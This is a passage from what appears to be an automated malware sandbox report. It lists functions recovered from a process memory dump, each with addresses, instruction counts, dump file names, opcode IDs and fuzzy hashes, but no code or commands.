                                    Function 3743C5ED Relevance: .0, Instructions: 31COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: acadf5033680f1bd8583b07169a0e7d8b68aba42a3459d1cecb7f3b426d8a630
                                    • Instruction ID: 6cba71fc4dcf808f0be3c9fa2ef14d0d47b85772c745e44f065099fc7eaf4827
                                    • Opcode Fuzzy Hash: acadf5033680f1bd8583b07169a0e7d8b68aba42a3459d1cecb7f3b426d8a630
                                    • Instruction Fuzzy Hash: 66F0E2B97136909FF3128B14C544BD5B3D89B4C7B0F45D82AD41D876A2CB64F8A2CA91
                                    Function 374D539D Relevance: .0, Instructions: 31COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: e15c433a33d5fea522807b7186f8f505c1bf0e41a138ecef20b06900c70ce7ba
                                    • Instruction ID: 1600058e2feb74e537bcf9879f0d7ba264dece2a52adba6cbf109bab827410f0
                                    • Opcode Fuzzy Hash: e15c433a33d5fea522807b7186f8f505c1bf0e41a138ecef20b06900c70ce7ba
                                    • Instruction Fuzzy Hash: 6DF0BE70A1034CAFEB04DBB8D455BAEB7B4AF48300F508059E501EB281EEB8F902CB15
                                    Function 374D52E2 Relevance: .0, Instructions: 31COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: dbfdfceb58282b525120fceb7f80322d63c2af2557fc33ad4779c9de03a4824e
                                    • Instruction ID: 91a41170c5640232dfdca477c0ef22a1bc3f07a07eb59e664c5ed23c647e73e7
                                    • Opcode Fuzzy Hash: dbfdfceb58282b525120fceb7f80322d63c2af2557fc33ad4779c9de03a4824e
                                    • Instruction Fuzzy Hash: C6F0BE70A10348ABEB04EFB9E515EAEB3B4AF48300F404458A800EB281EA78F901CB15
                                    Function 374D5283 Relevance: .0, Instructions: 31COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: f5ea053217871aa8557aa6185811f6e034de7c6aa34526f48f9e845737b55e94
                                    • Instruction ID: e5a0bfeba3d1ba9f3ae361bfcd5358f593ca980e6290a4413ad3438da9ee5a54
                                    • Opcode Fuzzy Hash: f5ea053217871aa8557aa6185811f6e034de7c6aa34526f48f9e845737b55e94
                                    • Instruction Fuzzy Hash: 56F0BE70A10308ABEB04DBB8D515AAEB3B4AF48300F404458A840EB381EF38F901CB51
                                    Function 374BF72E Relevance: .0, Instructions: 30COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: c425e5baf7d5a08dc3ee893b8610a71c725dfc40d721892e0c306700ba00c200
                                    • Instruction ID: b6413ff5cdffb390ce057b5af5926ecdca07a72be54b9d86e2ca7861f7a8c0ca
                                    • Opcode Fuzzy Hash: c425e5baf7d5a08dc3ee893b8610a71c725dfc40d721892e0c306700ba00c200
                                    • Instruction Fuzzy Hash: 21F05E71A00348EBEB14DBA9D55AA9E77B4AF48704F400098E541EB280EA78E9018725
                                    Function 374D547F Relevance: .0, Instructions: 30COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: da3d394b6fbe79878f1f5b750299945a9028f0c13383454f01c8d53a28ca8f21
                                    • Instruction ID: 75269eb022ce94330cc4f8e5163619ae8e4656063385af1a0fb21fd322ad2c4d
                                    • Opcode Fuzzy Hash: da3d394b6fbe79878f1f5b750299945a9028f0c13383454f01c8d53a28ca8f21
                                    • Instruction Fuzzy Hash: 44F08270A41248ABEB04DBB9D95AFDEB7B4AF48704F500058E501FB381EE38F901C755
                                    Function 374D54DB Relevance: .0, Instructions: 30COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 7e876bb0474b30583e94f0cdb9f646034229e3576fc2160bd1d4bbda7eae4fb7
                                    • Instruction ID: ed887ba88cf52d5836acb0ff4f5cd2b1da721c4848f723c3a90e83c2750f3399
                                    • Opcode Fuzzy Hash: 7e876bb0474b30583e94f0cdb9f646034229e3576fc2160bd1d4bbda7eae4fb7
                                    • Instruction Fuzzy Hash: 25F08270A10248ABEB04EBB9D566EDEB7F5AF48704F510058B541EB281EE38F901D715
                                    Function 374D5341 Relevance: .0, Instructions: 30COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 0d230db9b81a73361ff573d400e1566f02ad91427bfb067cff0422fe6b5d7eac
                                    • Instruction ID: 7e3cbc6da6bfc585e5418207402cd70a13b84a217ef538798b8d38994d0fc705
                                    • Opcode Fuzzy Hash: 0d230db9b81a73361ff573d400e1566f02ad91427bfb067cff0422fe6b5d7eac
                                    • Instruction Fuzzy Hash: ADF0EC70A00208ABEB04DBB8D856EDEB7B8AF49300F500058A401FB2D1EA78F900C715
                                    Function 37437208 Relevance: .0, Instructions: 30COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 9706d6ae1d0e85272851da1034304da8b78f6abbd7c0bc4b27996ba822e8b465
                                    • Instruction ID: 50f6b55182728aa3194a16d69c2fdd6905a9fd0ea9e99e1606d672413d53ff90
                                    • Opcode Fuzzy Hash: 9706d6ae1d0e85272851da1034304da8b78f6abbd7c0bc4b27996ba822e8b465
                                    • Instruction Fuzzy Hash: 80F0E2B99116E4AFE312C71CE180BE1B3949F04AB0F864665DDA88B601D328F840C291
                                    Function 374D5227 Relevance: .0, Instructions: 30COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 70793eed48929b9689b3e391c20789033424391c4b775aff9aabbf6bed68ebfc
                                    • Instruction ID: 097ec4b15fd0f21449dad84d59380499a2ef22ea4d1ec83f8947453dafe0767c
                                    • Opcode Fuzzy Hash: 70793eed48929b9689b3e391c20789033424391c4b775aff9aabbf6bed68ebfc
                                    • Instruction Fuzzy Hash: B6F08270A14248ABEB14DBB8D515EAEB3B4AF48704F540458A901EB281EE78F901CB55
                                    Function 37400710 Relevance: .0, Instructions: 28COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
                                    • Instruction ID: 77e11b17fd0d495d95dc160568c3e6c88711ffb022ca53d45d33d3ea72f24eec
                                    • Opcode Fuzzy Hash: 09d204908d37cdfbcfc5d4a721560e7c3d6986de64c378e18d154b12347e5c6c
                                    • Instruction Fuzzy Hash: C7F0E5792047549BE706CF15C040AE5BBA8EB45360F000468E8518B310EB39F982CF55
                                    Function 374355C0 Relevance: .0, Instructions: 28COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
                                    • Instruction ID: 3b3f250075e3fcc03f1b4907c899401c45ad457e9758d7fd094959d7f5a1fe40
                                    • Opcode Fuzzy Hash: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
                                    • Instruction Fuzzy Hash: 18E0E533102714ABE2121A16D800FD2FBA9FF947B0F11451AF05C175D09B64BC21CAD4
                                    Function 374D37B6 Relevance: .0, Instructions: 27COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 151fa3eda0d68173f6b84e2a92513b46d7512e2f74e79334ea38076815889cea
                                    • Instruction ID: 37fd79fac8e2c62425c3a239789b42694e840aab91a10257b2b435ab2e8871af
                                    • Opcode Fuzzy Hash: 151fa3eda0d68173f6b84e2a92513b46d7512e2f74e79334ea38076815889cea
                                    • Instruction Fuzzy Hash: 8EE06DB2610600EBE764DB54DD01FE673ACEB85760F500259B115931D0EBB4BE40CA60
                                    Function 374025E0 Relevance: .0, Instructions: 23COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: c2ab2ef129db8e5d3095fa4d3001a81f7be1a73061fc8a6bd3bf187a5d95029f
                                    • Instruction ID: 79db013b57e51a3ac26510c2c8adadc8ea8a3931f9305ac5b8ea6e650811c9f2
                                    • Opcode Fuzzy Hash: c2ab2ef129db8e5d3095fa4d3001a81f7be1a73061fc8a6bd3bf187a5d95029f
                                    • Instruction Fuzzy Hash: 61E092321009949BC311EF29DD01FDBB7AAEB95360F014529F11557190CB38B910CB95
                                    Function 374BB3D0 Relevance: .0, Instructions: 21COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
                                    • Instruction ID: ec84dd2d4ecfa34e9015bd222aca670ee9e943807d915ef42692a7f6769c946e
                                    • Opcode Fuzzy Hash: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
                                    • Instruction Fuzzy Hash: 87E0C232285714BBEB221E50CC00FA9BB55EB807E0F104031FA4C6BA90DA75BC92DAE4
                                    Function 373F823B Relevance: .0, Instructions: 21COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                    • Instruction ID: e577fd6bd0f69e2b04cbabfadb24d746a8db68bcea8d71191d6d1abcbf7060b4
                                    • Opcode Fuzzy Hash: 2b708af5a461c1f99ac8d3b2cba32ed51933f6cdd1bf79975374bbcdf42faac7
                                    • Instruction Fuzzy Hash: EAE08C32440B58EEF7351E11DC00FD176A5FB88BA0F21482DE089060A49B7ABC91EA46
                                    Function 373FB562 Relevance: .0, Instructions: 17COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
                                    • Instruction ID: 9088eb3f22f286bba1e861931fa8e443f35578266cc7051355378eab8ca283ad
                                    • Opcode Fuzzy Hash: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
                                    • Instruction Fuzzy Hash: 64D05B72161660EFD7325F21ED01F827AB59FC4B50F450519700D164F09679FD54CA91
                                    Function 3743E59C Relevance: .0, Instructions: 16COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                    • Instruction ID: f7b1005424da89608531cb3af7ba52314f1d84dcb97602e683d1dae7d3ade7dd
                                    • Opcode Fuzzy Hash: 7eba0efce7d9c3098aed64107f138979cd55621edccfcfde5a0f983e140fadca
                                    • Instruction Fuzzy Hash: 3CD0C933654660ABE762AA1CFC04FC373E9AB88761F160859F019C7160E765FC81CA84
                                    Function 374102A0 Relevance: .0, Instructions: 13COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                    • Instruction ID: 13c7cf4b59c7e61b77e4bff8e58462f0869dea5eb6d3d75a88a790b8700e015e
                                    • Opcode Fuzzy Hash: 153dea5617c300a23885095067624b68861a72d9651cf20dee72da6dc6a95444
                                    • Instruction Fuzzy Hash: 90D09239212A80CFD6069B09C5A4B4533A4BB44B84F8148D0E401CBB21D638E940CA00
                                    Function 3743C700 Relevance: .0, Instructions: 12COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                    • Instruction ID: 1590e186677b92886bb047ce28bb1e673287b948b9bcdb0d4ca3d696bf682071
                                    • Opcode Fuzzy Hash: a4bbd7c5c996c6314633515492723e329d7ccf5f4dcb798370ffde6045762c53
                                    • Instruction Fuzzy Hash: EBC01233290648AFC712AA98CD01F427BA9EB98B40F000021F2088B670E635F820EA84
                                    Function 3748930B Relevance: .0, Instructions: 12COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
                                    • Instruction ID: 9906a54a4168adff41bac06d84d1095a586183bf180f52efa77ac0d2db9a1127
                                    • Opcode Fuzzy Hash: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
                                    • Instruction Fuzzy Hash: 62D01779941AC89FE317CB08C161B807BF4F709B50F850098E04247BA2C37DA984CB00
                                    Function 37420310 Relevance: .0, Instructions: 11COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                    • Instruction ID: d30e6d0ebb6489bcb6dfe603ca2f981cb44af3831199c801a3ce06be347aec3c
                                    • Opcode Fuzzy Hash: b20a69916aee968c3675073d0381efa581de60bf3984a7ac555cf611b84c4bee
                                    • Instruction Fuzzy Hash: CDD0123610024CEFCB01DF41C990D9AB76AFBC8710F108019FD1907610CA35FD62DA90
                                    Function 3742340D Relevance: .0, Instructions: 10COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
                                    • Instruction ID: 71db967e187c58a0d9a3134ebef2f37fd9901eb7a77d9a6c58a8fbaaaacbb5a2
                                    • Opcode Fuzzy Hash: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
                                    • Instruction Fuzzy Hash: A8C08CB91815806EEB0B9700CD00B683660AB087A6FC001DCEA44295A1F76CB822D218
                                    Function 37400750 Relevance: .0, Instructions: 9COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                    • Instruction ID: 570c9b52eccc8e65ab0cfe91d119f1c5b17c3d959fa089b9f3bf91c86a04aa26
                                    • Opcode Fuzzy Hash: 8541d5aa43a0a658d79fe6471d8132b1696e53b2ec5469e0c5791f15c56add93
                                    • Instruction Fuzzy Hash: 55C04C797015418FDF05DB19D294F8977E4F744750F150890E845CB721E724F801CA11
                                    Function 37444650 Relevance: .0, Instructions: 4COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
